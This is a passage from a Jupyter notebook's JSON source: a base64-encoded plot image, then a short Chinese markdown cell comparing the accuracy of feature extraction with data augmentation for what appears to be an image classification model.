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\n", 609 | "text/plain": [ 610 | "
" 611 | ] 612 | }, 613 | "metadata": { 614 | "tags": [], 615 | "needs_background": "light" 616 | } 617 | } 618 | ] 619 | }, 620 | { 621 | "cell_type": "markdown", 622 | "metadata": { 623 | "id": "IP8Jqn5weBqM" 624 | }, 625 | "source": [ 626 | "透過這樣的方法可以獲得將約 0.9 的正確性,效果比資料擴增法又好上一點。如果合併兩種方法 (資料擴充 + 特增萃取),成本會高一些,但是可以提升到 0.95 的正確性。" 627 | ] 628 | }, 629 | { 630 | "cell_type": "code", 631 | "metadata": { 632 | "id": "0urQBZnI3WfK" 633 | }, 634 | "source": [], 635 | "execution_count": null, 636 | "outputs": [] 637 | } 638 | ] 639 | } 640 | --------------------------------------------------------------------------------